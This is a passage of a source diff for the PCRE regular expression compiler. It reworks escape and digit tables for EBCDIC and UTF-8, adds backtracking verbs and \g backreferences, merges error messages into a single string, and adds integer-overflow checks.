+INT_MAX to allow for adding in group terminating bytes, so that we don't have
+to check them every time. */
+
+#define OFLOW_MAX (INT_MAX - 20)
+
+
 /*************************************************
 *      Code parameters and static tables         *
 *************************************************/
 
-/* Maximum number of items on the nested bracket stacks at compile time. This
-applies to the nesting of all kinds of parentheses. It does not limit
-un-nested, non-capturing parentheses. This number can be made bigger if
-necessary - it is used to dimension one int and one unsigned char vector at
-compile time. */
+/* This value specifies the size of stack workspace that is used during the
+first pre-compile phase that determines how much memory is required. The regex
+is partly compiled into this space, but the compiled parts are discarded as
+soon as they can be, so that hopefully there will never be an overrun. The code
+does, however, check for an overrun. The largest amount I've seen used is 218,
+so this number is very generous.
 
-#define BRASTACK_SIZE 200
+The same workspace is used during the second, actual compile phase for
+remembering forward references to groups so that they can be filled in at the
+end. Each entry in this list occupies LINK_SIZE bytes, so even when LINK_SIZE
+is 4 there is plenty of room. */
 
+#define COMPILE_WORK_SIZE (4096)
 
+
 /* Table for handling escaped characters in the range '0'-'z'. Positive returns
 are simple data values; negative values are for special things like \d and so
 on. Zero means further processing is needed (for things like \x), or the escape
 is invalid. */
 
-#if !EBCDIC   /* This is the "normal" table for ASCII systems */
+#ifndef EBCDIC
+
+/* This is the "normal" table for ASCII systems or for EBCDIC systems running
+in UTF-8 mode. */
+
 static const short int escapes[] = {
-     0,      0,      0,      0,      0,      0,      0,      0,   /* 0 - 7 */
-     0,      0,    ':',    ';',    '<',    '=',    '>',    '?',   /* 8 - ? */
-   '@', -ESC_A, -ESC_B, -ESC_C, -ESC_D, -ESC_E,      0, -ESC_G,   /* @ - G */
-     0,      0,      0,      0,      0,      0,      0,      0,   /* H - O */
--ESC_P, -ESC_Q,      0, -ESC_S,      0,      0,      0, -ESC_W,   /* P - W */
--ESC_X,      0, -ESC_Z,    '[',   '\\',    ']',    '^',    '_',   /* X - _ */
-   '`',      7, -ESC_b,      0, -ESC_d,  ESC_e,  ESC_f,      0,   /* ` - g */
-     0,      0,      0,      0,      0,      0,  ESC_n,      0,   /* h - o */
--ESC_p,      0,  ESC_r, -ESC_s,  ESC_tee,    0,      0, -ESC_w,   /* p - w */
-     0,      0, -ESC_z                                            /* x - z */
+     0,                       0,
+     0,                       0,
+     0,                       0,
+     0,                       0,
+     0,                       0,
+     CHAR_COLON,              CHAR_SEMICOLON,
+     CHAR_LESS_THAN_SIGN,     CHAR_EQUALS_SIGN,
+     CHAR_GREATER_THAN_SIGN,  CHAR_QUESTION_MARK,
+     CHAR_COMMERCIAL_AT,      -ESC_A,
+     -ESC_B,                  -ESC_C,
+     -ESC_D,                  -ESC_E,
+     0,                       -ESC_G,
+     -ESC_H,                  0,
+     0,                       -ESC_K,
+     0,                       0,
+     0,                       0,
+     -ESC_P,                  -ESC_Q,
+     -ESC_R,                  -ESC_S,
+     0,                       0,
+     -ESC_V,                  -ESC_W,
+     -ESC_X,                  0,
+     -ESC_Z,                  CHAR_LEFT_SQUARE_BRACKET,
+     CHAR_BACKSLASH,          CHAR_RIGHT_SQUARE_BRACKET,
+     CHAR_CIRCUMFLEX_ACCENT,  CHAR_UNDERSCORE,
+     CHAR_GRAVE_ACCENT,       7,
+     -ESC_b,                  0,
+     -ESC_d,                  ESC_e,
+     ESC_f,                   0,
+     -ESC_h,                  0,
+     0,                       -ESC_k,
+     0,                       0,
+     ESC_n,                   0,
+     -ESC_p,                  0,
+     ESC_r,                   -ESC_s,
+     ESC_tee,                 0,
+     -ESC_v,                  -ESC_w,
+     0,                       0,
+     -ESC_z
 };
 
-#else         /* This is the "abnormal" table for EBCDIC systems */
+#else
+
+/* This is the "abnormal" table for EBCDIC systems without UTF-8 support. */
+
 static const short int escapes[] = {
 /*  48 */     0,     0,      0,     '.',    '<',   '(',    '+',    '|',
 /*  50 */   '&',     0,      0,       0,      0,     0,      0,      0,
@@ -97,18 +156,18 @@
 /*  70 */     0,     0,      0,       0,      0,     0,      0,      0,
 /*  78 */     0,   '`',    ':',     '#',    '@',  '\'',    '=',    '"',
 /*  80 */     0,     7, -ESC_b,       0, -ESC_d, ESC_e,  ESC_f,      0,
-/*  88 */     0,     0,      0,     '{',      0,     0,      0,      0,
-/*  90 */     0,     0,      0,     'l',      0, ESC_n,      0, -ESC_p,
+/*  88 */-ESC_h,     0,      0,     '{',      0,     0,      0,      0,
+/*  90 */     0,     0, -ESC_k,     'l',      0, ESC_n,      0, -ESC_p,
 /*  98 */     0, ESC_r,      0,     '}',      0,     0,      0,      0,
-/*  A0 */     0,   '~', -ESC_s, ESC_tee,      0,     0, -ESC_w,      0,
+/*  A0 */     0,   '~', -ESC_s, ESC_tee,      0,-ESC_v, -ESC_w,      0,
 /*  A8 */     0,-ESC_z,      0,       0,      0,   '[',      0,      0,
 /*  B0 */     0,     0,      0,       0,      0,     0,      0,      0,
 /*  B8 */     0,     0,      0,       0,      0,   ']',    '=',    '-',
 /*  C0 */   '{',-ESC_A, -ESC_B,  -ESC_C, -ESC_D,-ESC_E,      0, -ESC_G,
-/*  C8 */     0,     0,      0,       0,      0,     0,      0,      0,
-/*  D0 */   '}',     0,      0,       0,      0,     0,      0, -ESC_P,
-/*  D8 */-ESC_Q,     0,      0,       0,      0,     0,      0,      0,
-/*  E0 */  '\\',     0, -ESC_S,       0,      0,     0, -ESC_W, -ESC_X,
+/*  C8 */-ESC_H,     0,      0,       0,      0,     0,      0,      0,
+/*  D0 */   '}',     0, -ESC_K,       0,      0,     0,      0, -ESC_P,
+/*  D8 */-ESC_Q,-ESC_R,      0,       0,      0,     0,      0,      0,
+/*  E0 */  '\\',     0, -ESC_S,       0,      0,-ESC_V, -ESC_W, -ESC_X,
 /*  E8 */     0,-ESC_Z,      0,       0,      0,     0,      0,      0,
 /*  F0 */     0,     0,      0,       0,      0,     0,      0,      0,
 /*  F8 */     0,     0,      0,       0,      0,     0,      0,      0
@@ -116,15 +175,51 @@
 #endif
 
 
-/* Tables of names of POSIX character classes and their lengths. The list is
-terminated by a zero length entry. The first three must be alpha, lower, upper,
-as this is assumed for handling case independence. */
+/* Table of special "verbs" like (*PRUNE). This is a short table, so it is
+searched linearly. Put all the names into a single string, in order to reduce
+the number of relocations when a shared library is dynamically linked. The
+string is built from string macros so that it works in UTF-8 mode on EBCDIC
+platforms. */
 
-static const char *const posix_names[] = {
-  "alpha", "lower", "upper",
-  "alnum", "ascii", "blank", "cntrl", "digit", "graph",
-  "print", "punct", "space", "word",  "xdigit" };
+typedef struct verbitem {
+  int   len;
+  int   op;
+} verbitem;
 
+static const char verbnames[] =
+  STRING_ACCEPT0
+  STRING_COMMIT0
+  STRING_F0
+  STRING_FAIL0
+  STRING_PRUNE0
+  STRING_SKIP0
+  STRING_THEN;
+
+static const verbitem verbs[] = {
+  { 6, OP_ACCEPT },
+  { 6, OP_COMMIT },
+  { 1, OP_FAIL },
+  { 4, OP_FAIL },
+  { 5, OP_PRUNE },
+  { 4, OP_SKIP  },
+  { 4, OP_THEN  }
+};
+
+static const int verbcount = sizeof(verbs)/sizeof(verbitem);
+
+
+/* Tables of names of POSIX character classes and their lengths. The names are
+now all in a single string, to reduce the number of relocations when a shared
+library is dynamically loaded. The list of lengths is terminated by a zero
+length entry. The first three must be alpha, lower, upper, as this is assumed
+for handling case independence. */
+
+static const char posix_names[] =
+  STRING_alpha0 STRING_lower0 STRING_upper0 STRING_alnum0
+  STRING_ascii0 STRING_blank0 STRING_cntrl0 STRING_digit0
+  STRING_graph0 STRING_print0 STRING_punct0 STRING_space0
+  STRING_word0  STRING_xdigit;
+
 static const uschar posix_name_lengths[] = {
   5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 6, 0 };
 
@@ -156,73 +251,97 @@
 };
 
 
+#define STRING(a)  # a
+#define XSTRING(s) STRING(s)
+
 /* The texts of compile-time error messages. These are "char *" because they
-are passed to the outside world. */
+are passed to the outside world. Do not ever re-use any error number, because
+they are documented. Always add a new error instead. Messages marked DEAD below
+are no longer used. This used to be a table of strings, but in order to reduce
+the number of relocations needed when a shared library is loaded dynamically,
+it is now one long string. We cannot use a table of offsets, because the
+lengths of inserts such as XSTRING(MAX_NAME_SIZE) are not known. Instead, we
+simply count through to the one we want - this isn't a performance issue
+because these strings are used only when there is a compilation error. */
 
-static const char *error_texts[] = {
-  "no error",
-  "\\ at end of pattern",
-  "\\c at end of pattern",
-  "unrecognized character follows \\",
-  "numbers out of order in {} quantifier",
+static const char error_texts[] =
+  "no error\0"
+  "\\ at end of pattern\0"
+  "\\c at end of pattern\0"
+  "unrecognized character follows \\\0"
+  "numbers out of order in {} quantifier\0"
   /* 5 */
-  "number too big in {} quantifier",
-  "missing terminating ] for character class",
-  "invalid escape sequence in character class",
-  "range out of order in character class",
-  "nothing to repeat",
+  "number too big in {} quantifier\0"
+  "missing terminating ] for character class\0"
+  "invalid escape sequence in character class\0"
+  "range out of order in character class\0"
+  "nothing to repeat\0"
   /* 10 */
-  "operand of unlimited repeat could match the empty string",
-  "internal error: unexpected repeat",
-  "unrecognized character after (?",
-  "POSIX named classes are supported only within a class",
-  "missing )",
+  "operand of unlimited repeat could match the empty string\0"  /** DEAD **/
+  "internal error: unexpected repeat\0"
+  "unrecognized character after (? or (?-\0"
+  "POSIX named classes are supported only within a class\0"
+  "missing )\0"
   /* 15 */
-  "reference to non-existent subpattern",
-  "erroffset passed as NULL",
-  "unknown option bit(s) set",
-  "missing ) after comment",
-  "parentheses nested too deeply",
+  "reference to non-existent subpattern\0"
+  "erroffset passed as NULL\0"
+  "unknown option bit(s) set\0"
+  "missing ) after comment\0"
+  "parentheses nested too deeply\0"  /** DEAD **/
   /* 20 */
-  "regular expression too large",
-  "failed to get memory",
-  "unmatched parentheses",
-  "internal error: code overflow",
-  "unrecognized character after (?<",
+  "regular expression is too large\0"
+  "failed to get memory\0"
+  "unmatched parentheses\0"
+  "internal error: code overflow\0"
+  "unrecognized character after (?<\0"
   /* 25 */
-  "lookbehind assertion is not fixed length",
-  "malformed number or name after (?(",
-  "conditional group contains more than two branches",
-  "assertion expected after (?(",
-  "(?R or (?digits must be followed by )",
+  "lookbehind assertion is not fixed length\0"
+  "malformed number or name after (?(\0"
+  "conditional group contains more than two branches\0"
+  "assertion expected after (?(\0"
+  "(?R or (?[+-]digits must be followed by )\0"
   /* 30 */
-  "unknown POSIX class name",
-  "POSIX collating elements are not supported",
-  "this version of PCRE is not compiled with PCRE_UTF8 support",
-  "spare error",
-  "character value in \\x{...} sequence is too large",
+  "unknown POSIX class name\0"
+  "POSIX collating elements are not supported\0"
+  "this version of PCRE is not compiled with PCRE_UTF8 support\0"
+  "spare error\0"  /** DEAD **/
+  "character value in \\x{...} sequence is too large\0"
   /* 35 */
-  "invalid condition (?(0)",
-  "\\C not allowed in lookbehind assertion",
-  "PCRE does not support \\L, \\l, \\N, \\U, or \\u",
-  "number after (?C is > 255",
-  "closing ) for (?C expected",
+  "invalid condition (?(0)\0"
+  "\\C not allowed in lookbehind assertion\0"
+  "PCRE does not support \\L, \\l, \\N, \\U, or \\u\0"
+  "number after (?C is > 255\0"
+  "closing ) for (?C expected\0"
   /* 40 */
-  "recursive call could loop indefinitely",
-  "unrecognized character after (?P",
-  "syntax error after (?P",
-  "two named subpatterns have the same name",
-  "invalid UTF-8 string",
+  "recursive call could loop indefinitely\0"
+  "unrecognized character after (?P\0"
+  "syntax error in subpattern name (missing terminator)\0"
+  "two named subpatterns have the same name\0"
+  "invalid UTF-8 string\0"
   /* 45 */
-  "support for \\P, \\p, and \\X has not been compiled",
-  "malformed \\P or \\p sequence",
-  "unknown property name after \\P or \\p",
-  "subpattern name is too long (maximum 32 characters)",
-  "too many named subpatterns (maximum 10,000)",
+  "support for \\P, \\p, and \\X has not been compiled\0"
+  "malformed \\P or \\p sequence\0"
+  "unknown property name after \\P or \\p\0"
+  "subpattern name is too long (maximum " XSTRING(MAX_NAME_SIZE) " characters)\0"
+  "too many named subpatterns (maximum " XSTRING(MAX_NAME_COUNT) ")\0"
   /* 50 */
-  "repeated subpattern is too long",
-  "octal value is greater than \\377 (not in UTF-8 mode)"
-};
+  "repeated subpattern is too long\0"    /** DEAD **/
+  "octal value is greater than \\377 (not in UTF-8 mode)\0"
+  "internal error: overran compiling workspace\0"
+  "internal error: previously-checked referenced subpattern not found\0"
+  "DEFINE group contains more than one branch\0"
+  /* 55 */
+  "repeating a DEFINE group is not allowed\0"
+  "inconsistent NEWLINE options\0"
+  "\\g is not followed by a braced, angle-bracketed, or quoted name/number or by a plain number\0"
+  "a numbered reference must not be zero\0"
+  "(*VERB) with an argument is not supported\0"
+  /* 60 */
+  "(*VERB) not recognized\0"
+  "number is too big\0"
+  "subpattern name expected\0"
+  "digit expected after (?+\0"
+  "] is an invalid data character in JavaScript compatibility mode";
 
 
 /* Table to identify digits and hex digits. This is used when compiling
@@ -241,7 +360,11 @@
 
 Then we can use ctype_digit and ctype_xdigit in the code. */
 
-#if !EBCDIC    /* This is the "normal" case, for ASCII systems */
+#ifndef EBCDIC
+
+/* This is the "normal" case, for ASCII systems, and EBCDIC systems running in
+UTF-8 mode. */
+
 static const unsigned char digitab[] =
   {
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*   0-  7 */
@@ -277,7 +400,10 @@
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 240-247 */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};/* 248-255 */
 
-#else          /* This is the "abnormal" case, for EBCDIC systems */
+#else
+
+/* This is the "abnormal" case, for EBCDIC systems not running in UTF-8 mode. */
+
 static const unsigned char digitab[] =
   {
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*   0-  7  0 */
@@ -291,7 +417,7 @@
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*    - 71 40 */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  72- |     */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  & - 87 50 */
-  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  88- \xAC     */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  88- 95    */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  - -103 60 */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 104- ?     */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 112-119 70 */
@@ -325,7 +451,7 @@
   0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*    - 71 */
   0x00,0x00,0x00,0x80,0x00,0x80,0x80,0x80, /*  72- |  */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  & - 87 */
-  0x00,0x00,0x00,0x80,0x80,0x80,0x00,0x00, /*  88- \xAC  */
+  0x00,0x00,0x00,0x80,0x80,0x80,0x00,0x00, /*  88- 95 */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  - -103 */
   0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x80, /* 104- ?  */
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 112-119 */
@@ -352,20 +478,44 @@
 /* Definition to allow mutual recursion */
 
 static BOOL
-  compile_regex(int, int, int *, uschar **, const uschar **, int *, BOOL, int,
-    int *, int *, branch_chain *, compile_data *);
+  compile_regex(int, int, uschar **, const uschar **, int *, BOOL, BOOL, int,
+    int *, int *, branch_chain *, compile_data *, int *);
 
 
 
 /*************************************************
+*            Find an error text                  *
+*************************************************/
+
+/* The error texts are now all in one long string, to save on relocations. As
+some of the text is of unknown length, we can't use a table of offsets.
+Instead, just count through the strings. This is not a performance issue
+because it happens only when there has been a compilation error.
+
+Argument:   the error number
+Returns:    pointer to the error string
+*/
+
+static const char *
+find_error_text(int n)
+{
+const char *s = error_texts;
+for (; n > 0; n--) while (*s++ != 0) {};
+return s;
+}
+
+
+/*************************************************
 *            Handle escapes                      *
 *************************************************/
 
 /* This function is called when a \ has been encountered. It either returns a
 positive value for a simple escape such as \n, or a negative value which
-encodes one of the more complicated things such as \d. When UTF-8 is enabled,
-a positive value greater than 255 may be returned. On entry, ptr is pointing at
-the \. On exit, it is on the final character of the escape sequence.
+encodes one of the more complicated things such as \d. A backreference to group
+n is returned as -(ESC_REF + n); ESC_REF is the highest ESC_xxx macro. When
+UTF-8 is enabled, a positive value greater than 255 may be returned. On entry,
+ptr is pointing at the \. On exit, it is on the final character of the escape
+sequence.
 
 Arguments:
   ptrptr         points to the pattern position pointer
@@ -376,7 +526,7 @@
 
 Returns:         zero or positive => a data character
                  negative => a special escape sequence
-                 on error, errorptr is set
+                 on error, errorcodeptr is set
 */
 
 static int
@@ -394,16 +544,16 @@
 
 if (c == 0) *errorcodeptr = ERR1;
 
-/* Non-alphamerics are literals. For digits or letters, do an initial lookup in
-a table. A non-zero result is something that can be returned immediately.
+/* Non-alphanumerics are literals. For digits or letters, do an initial lookup
+in a table. A non-zero result is something that can be returned immediately.
 Otherwise further processing may be required. */
 
-#if !EBCDIC    /* ASCII coding */
-else if (c < '0' || c > 'z') {}                           /* Not alphameric */
-else if ((i = escapes[c - '0']) != 0) c = i;
+#ifndef EBCDIC  /* ASCII/UTF-8 coding */
+else if (c < CHAR_0 || c > CHAR_z) {}                     /* Not alphanumeric */
+else if ((i = escapes[c - CHAR_0]) != 0) c = i;
 
-#else          /* EBCDIC coding */
-else if (c < 'a' || (ebcdic_chartab[c] & 0x0E) == 0) {}   /* Not alphameric */
+#else           /* EBCDIC coding */
+else if (c < 'a' || (ebcdic_chartab[c] & 0x0E) == 0) {}   /* Not alphanumeric */
 else if ((i = escapes[c - 0x48]) != 0)  c = i;
 #endif
 
@@ -412,19 +562,103 @@
 else
   {
   const uschar *oldptr;
+  BOOL braced, negated;
+
   switch (c)
     {
     /* A number of Perl escapes are not handled by PCRE. We give an explicit
     error. */
 
-    case 'l':
-    case 'L':
-    case 'N':
-    case 'u':
-    case 'U':
+    case CHAR_l:
+    case CHAR_L:
+    case CHAR_N:
+    case CHAR_u:
+    case CHAR_U:
     *errorcodeptr = ERR37;
     break;
 
+    /* \g must be followed by one of a number of specific things:
+
+    (1) A number, either plain or braced. If positive, it is an absolute
+    backreference. If negative, it is a relative backreference. This is a Perl
+    5.10 feature.
+
+    (2) Perl 5.10 also supports \g{name} as a reference to a named group. This
+    is part of Perl's movement towards a unified syntax for back references. As
+    this is synonymous with \k{name}, we fudge it up by pretending it really
+    was \k.
+
+    (3) For Oniguruma compatibility we also support \g followed by a name or a
+    number either in angle brackets or in single quotes. However, these are
+    (possibly recursive) subroutine calls, _not_ backreferences. Just return
+    the -ESC_g code (cf \k). */
+
+    case CHAR_g:
+    if (ptr[1] == CHAR_LESS_THAN_SIGN || ptr[1] == CHAR_APOSTROPHE)
+      {
+      c = -ESC_g;
+      break;
+      }
+
+    /* Handle the Perl-compatible cases */
+
+    if (ptr[1] == CHAR_LEFT_CURLY_BRACKET)
+      {
+      const uschar *p;
+      for (p = ptr+2; *p != 0 && *p != CHAR_RIGHT_CURLY_BRACKET; p++)
+        if (*p != CHAR_MINUS && (digitab[*p] & ctype_digit) == 0) break;
+      if (*p != 0 && *p != CHAR_RIGHT_CURLY_BRACKET)
+        {
+        c = -ESC_k;
+        break;
+        }
+      braced = TRUE;
+      ptr++;
+      }
+    else braced = FALSE;
+
+    if (ptr[1] == CHAR_MINUS)
+      {
+      negated = TRUE;
+      ptr++;
+      }
+    else negated = FALSE;
+
+    c = 0;
+    while ((digitab[ptr[1]] & ctype_digit) != 0)
+      c = c * 10 + *(++ptr) - CHAR_0;
+
+    if (c < 0)   /* Integer overflow */
+      {
+      *errorcodeptr = ERR61;
+      break;
+      }
+
+    if (braced && *(++ptr) != CHAR_RIGHT_CURLY_BRACKET)
+      {
+      *errorcodeptr = ERR57;
+      break;
+      }
+
+    if (c == 0)
+      {
+      *errorcodeptr = ERR58;
+      break;
+      }
+
+    if (negated)
+      {
+      if (c > bracount)
+        {
+        *errorcodeptr = ERR15;
+        break;
+        }
+      c = bracount - (c - 1);
+      }
+
+    c = -(ESC_REF + c);
+    break;
+
     /* The handling of escape sequences consisting of a string of digits
     starting with one that is not zero is not straightforward. By experiment,
     the way Perl works seems to be as follows:
@@ -437,15 +671,20 @@
     value is greater than 377, the least significant 8 bits are taken. Inside a
     character class, \ followed by a digit is always an octal number. */
 
-    case '1': case '2': case '3': case '4': case '5':
-    case '6': case '7': case '8': case '9':
+    case CHAR_1: case CHAR_2: case CHAR_3: case CHAR_4: case CHAR_5:
+    case CHAR_6: case CHAR_7: case CHAR_8: case CHAR_9:
 
     if (!isclass)
       {
       oldptr = ptr;
-      c -= '0';
+      c -= CHAR_0;
       while ((digitab[ptr[1]] & ctype_digit) != 0)
-        c = c * 10 + *(++ptr) - '0';
+        c = c * 10 + *(++ptr) - CHAR_0;
+      if (c < 0)    /* Integer overflow */
+        {
+        *errorcodeptr = ERR61;
+        break;
+        }
       if (c < 10 || c <= bracount)
         {
         c = -(ESC_REF + c);
@@ -458,7 +697,7 @@
     generates a binary zero byte and treats the digit as a following literal.
     Thus we have to pull back the pointer by one. */
 
-    if ((c = *ptr) >= '8')
+    if ((c = *ptr) >= CHAR_8)
       {
       ptr--;
       c = 0;
@@ -471,10 +710,10 @@
     to do). Nowadays we allow for larger numbers in UTF-8 mode, but no more
     than 3 octal digits. */
 
-    case '0':
-    c -= '0';
-    while(i++ < 2 && ptr[1] >= '0' && ptr[1] <= '7')
-        c = c * 8 + *(++ptr) - '0';
+    case CHAR_0:
+    c -= CHAR_0;
+    while(i++ < 2 && ptr[1] >= CHAR_0 && ptr[1] <= CHAR_7)
+        c = c * 8 + *(++ptr) - CHAR_0;
     if (!utf8 && c > 255) *errorcodeptr = ERR51;
     break;
 
@@ -482,8 +721,8 @@
     than 0xff in utf8 mode, but only if the ddd are hex digits. If not, { is
     treated as a data character. */
 
-    case 'x':
-    if (ptr[1] == '{')
+    case CHAR_x:
+    if (ptr[1] == CHAR_LEFT_CURLY_BRACKET)
       {
       const uschar *pt = ptr + 2;
       int count = 0;
@@ -492,19 +731,19 @@
       while ((digitab[*pt] & ctype_xdigit) != 0)
         {
         register int cc = *pt++;
-        if (c == 0 && cc == '0') continue;     /* Leading zeroes */
+        if (c == 0 && cc == CHAR_0) continue;     /* Leading zeroes */
         count++;
 
-#if !EBCDIC    /* ASCII coding */
-        if (cc >= 'a') cc -= 32;               /* Convert to upper case */
-        c = (c << 4) + cc - ((cc < 'A')? '0' : ('A' - 10));
-#else          /* EBCDIC coding */
-        if (cc >= 'a' && cc <= 'z') cc += 64;  /* Convert to upper case */
-        c = (c << 4) + cc - ((cc >= '0')? '0' : ('A' - 10));
+#ifndef EBCDIC  /* ASCII/UTF-8 coding */
+        if (cc >= CHAR_a) cc -= 32;               /* Convert to upper case */
+        c = (c << 4) + cc - ((cc < CHAR_A)? CHAR_0 : (CHAR_A - 10));
+#else           /* EBCDIC coding */
+        if (cc >= CHAR_a && cc <= CHAR_z) cc += 64;  /* Convert to upper case */
+        c = (c << 4) + cc - ((cc >= CHAR_0)? CHAR_0 : (CHAR_A - 10));
 #endif
         }
 
-      if (*pt == '}')
+      if (*pt == CHAR_RIGHT_CURLY_BRACKET)
         {
         if (c < 0 || count > (utf8? 8 : 2)) *errorcodeptr = ERR34;
         ptr = pt;
@@ -520,46 +759,44 @@
     c = 0;
     while (i++ < 2 && (digitab[ptr[1]] & ctype_xdigit) != 0)
       {
-      int cc;                               /* Some compilers don't like ++ */
-      cc = *(++ptr);                        /* in initializers */
-#if !EBCDIC    /* ASCII coding */
-      if (cc >= 'a') cc -= 32;              /* Convert to upper case */
-      c = c * 16 + cc - ((cc < 'A')? '0' : ('A' - 10));
-#else          /* EBCDIC coding */
-      if (cc <= 'z') cc += 64;              /* Convert to upper case */
-      c = c * 16 + cc - ((cc >= '0')? '0' : ('A' - 10));
+      int cc;                                  /* Some compilers don't like */
+      cc = *(++ptr);                           /* ++ in initializers */
+#ifndef EBCDIC  /* ASCII/UTF-8 coding */
+      if (cc >= CHAR_a) cc -= 32;              /* Convert to upper case */
+      c = c * 16 + cc - ((cc < CHAR_A)? CHAR_0 : (CHAR_A - 10));
+#else           /* EBCDIC coding */
+      if (cc <= CHAR_z) cc += 64;              /* Convert to upper case */
+      c = c * 16 + cc - ((cc >= CHAR_0)? CHAR_0 : (CHAR_A - 10));
 #endif
       }
     break;
 
-    /* Other special escapes not starting with a digit are straightforward */
+    /* For \c, a following letter is upper-cased; then the 0x40 bit is flipped.
+    This coding is ASCII-specific, but then the whole concept of \cx is
+    ASCII-specific. (However, an EBCDIC equivalent has now been added.) */
 
-    case 'c':
+    case CHAR_c:
     c = *(++ptr);
     if (c == 0)
       {
       *errorcodeptr = ERR2;
-      return 0;
+      break;
       }
 
-    /* A letter is upper-cased; then the 0x40 bit is flipped. This coding
-    is ASCII-specific, but then the whole concept of \cx is ASCII-specific.
-    (However, an EBCDIC equivalent has now been added.) */
-
-#if !EBCDIC    /* ASCII coding */
-    if (c >= 'a' && c <= 'z') c -= 32;
+#ifndef EBCDIC  /* ASCII/UTF-8 coding */
+    if (c >= CHAR_a && c <= CHAR_z) c -= 32;
     c ^= 0x40;
-#else          /* EBCDIC coding */
-    if (c >= 'a' && c <= 'z') c += 64;
+#else           /* EBCDIC coding */
+    if (c >= CHAR_a && c <= CHAR_z) c += 64;
     c ^= 0xC0;
 #endif
     break;
 
     /* PCRE_EXTRA enables extensions to Perl in the matter of escapes. Any
-    other alphameric following \ is an error if PCRE_EXTRA was set; otherwise,
-    for Perl compatibility, it is a literal. This code looks a bit odd, but
-    there used to be some cases other than the default, and there may be again
-    in future, so I haven't "optimized" it. */
+    other alphanumeric following \ is an error if PCRE_EXTRA was set;
+    otherwise, for Perl compatibility, it is a literal. This code looks a bit
+    odd, but there used to be some cases other than the default, and there may
+    be again in future, so I haven't "optimized" it. */
 
     default:
     if ((options & PCRE_EXTRA) != 0) switch(c)
@@ -612,21 +849,21 @@
 /* \P or \p can be followed by a name in {}, optionally preceded by ^ for
 negation. */
 
-if (c == '{')
+if (c == CHAR_LEFT_CURLY_BRACKET)
   {
-  if (ptr[1] == '^')
+  if (ptr[1] == CHAR_CIRCUMFLEX_ACCENT)
     {
     *negptr = TRUE;
     ptr++;
     }
-  for (i = 0; i < sizeof(name) - 1; i++)
+  for (i = 0; i < (int)sizeof(name) - 1; i++)
     {
     c = *(++ptr);
     if (c == 0) goto ERROR_RETURN;
-    if (c == '}') break;
+    if (c == CHAR_RIGHT_CURLY_BRACKET) break;
     name[i] = c;
     }
-  if (c !='}') goto ERROR_RETURN;
+  if (c != CHAR_RIGHT_CURLY_BRACKET) goto ERROR_RETURN;
   name[i] = 0;
   }
 
@@ -648,7 +885,7 @@
 while (bot < top)
   {
   i = (bot + top) >> 1;
-  c = strcmp(name, _pcre_utt[i].name);
+  c = strcmp(name, _pcre_utt_names + _pcre_utt[i].name_offset);
   if (c == 0)
     {
     *dptr = _pcre_utt[i].value;
@@ -691,15 +928,15 @@
 {
 if ((digitab[*p++] & ctype_digit) == 0) return FALSE;
 while ((digitab[*p] & ctype_digit) != 0) p++;
-if (*p == '}') return TRUE;
+if (*p == CHAR_RIGHT_CURLY_BRACKET) return TRUE;
 
-if (*p++ != ',') return FALSE;
-if (*p == '}') return TRUE;
+if (*p++ != CHAR_COMMA) return FALSE;
+if (*p == CHAR_RIGHT_CURLY_BRACKET) return TRUE;
 
 if ((digitab[*p++] & ctype_digit) == 0) return FALSE;
 while ((digitab[*p] & ctype_digit) != 0) p++;
 
-return (*p == '}');
+return (*p == CHAR_RIGHT_CURLY_BRACKET);
 }
 
 
@@ -732,7 +969,7 @@
 /* Read the minimum value and do a paranoid check: a negative value indicates
 an integer overflow. */
 
-while ((digitab[*p] & ctype_digit) != 0) min = min * 10 + *p++ - '0';
+while ((digitab[*p] & ctype_digit) != 0) min = min * 10 + *p++ - CHAR_0;
 if (min < 0 || min > 65535)
   {
   *errorcodeptr = ERR5;
@@ -742,12 +979,12 @@
 /* Read the maximum value if there is one, and again do a paranoid on its size.
 Also, max must not be less than min. */
 
-if (*p == '}') max = min; else
+if (*p == CHAR_RIGHT_CURLY_BRACKET) max = min; else
   {
-  if (*(++p) != '}')
+  if (*(++p) != CHAR_RIGHT_CURLY_BRACKET)
     {
     max = 0;
-    while((digitab[*p] & ctype_digit) != 0) max = max * 10 + *p++ - '0';
+    while((digitab[*p] & ctype_digit) != 0) max = max * 10 + *p++ - CHAR_0;
     if (max < 0 || max > 65535)
       {
       *errorcodeptr = ERR5;
@@ -772,48 +1009,261 @@
 
 
 /*************************************************
-*     Find forward referenced named subpattern   *
+*  Subroutine for finding forward reference      *
 *************************************************/
 
-/* This function scans along a pattern looking for capturing subpatterns, and
-counting them. If it finds a named pattern that matches the name it is given,
-it returns its number. This is used for forward references to named
-subpatterns. We know that if (?P< is encountered, the name will be terminated
-by '>' because that is checked in the first pass.
+/* This recursive function is called only from find_parens() below. The
+top-level call starts at the beginning of the pattern. All other calls must
+start at a parenthesis. It scans along a pattern's text looking for capturing
+subpatterns, and counting them. If it finds a named pattern that matches the
+name it is given, it returns its number. Alternatively, if the name is NULL, it
+returns when it reaches a given numbered subpattern. We know that if (?P< is
+encountered, the name will be terminated by '>' because that is checked in the
+first pass. Recursion is used to keep track of subpatterns that reset the
+capturing group numbers - the (?| feature.
 
 Arguments:
-  pointer      current position in the pattern
-  count        current count of capturing parens
-  name         name to seek
-  namelen      name length
+  ptrptr       address of the current character pointer (updated)
+  cd           compile background data
+  name         name to seek, or NULL if seeking a numbered subpattern
+  lorn         name length, or subpattern number if name is NULL
+  xmode        TRUE if we are in /x mode
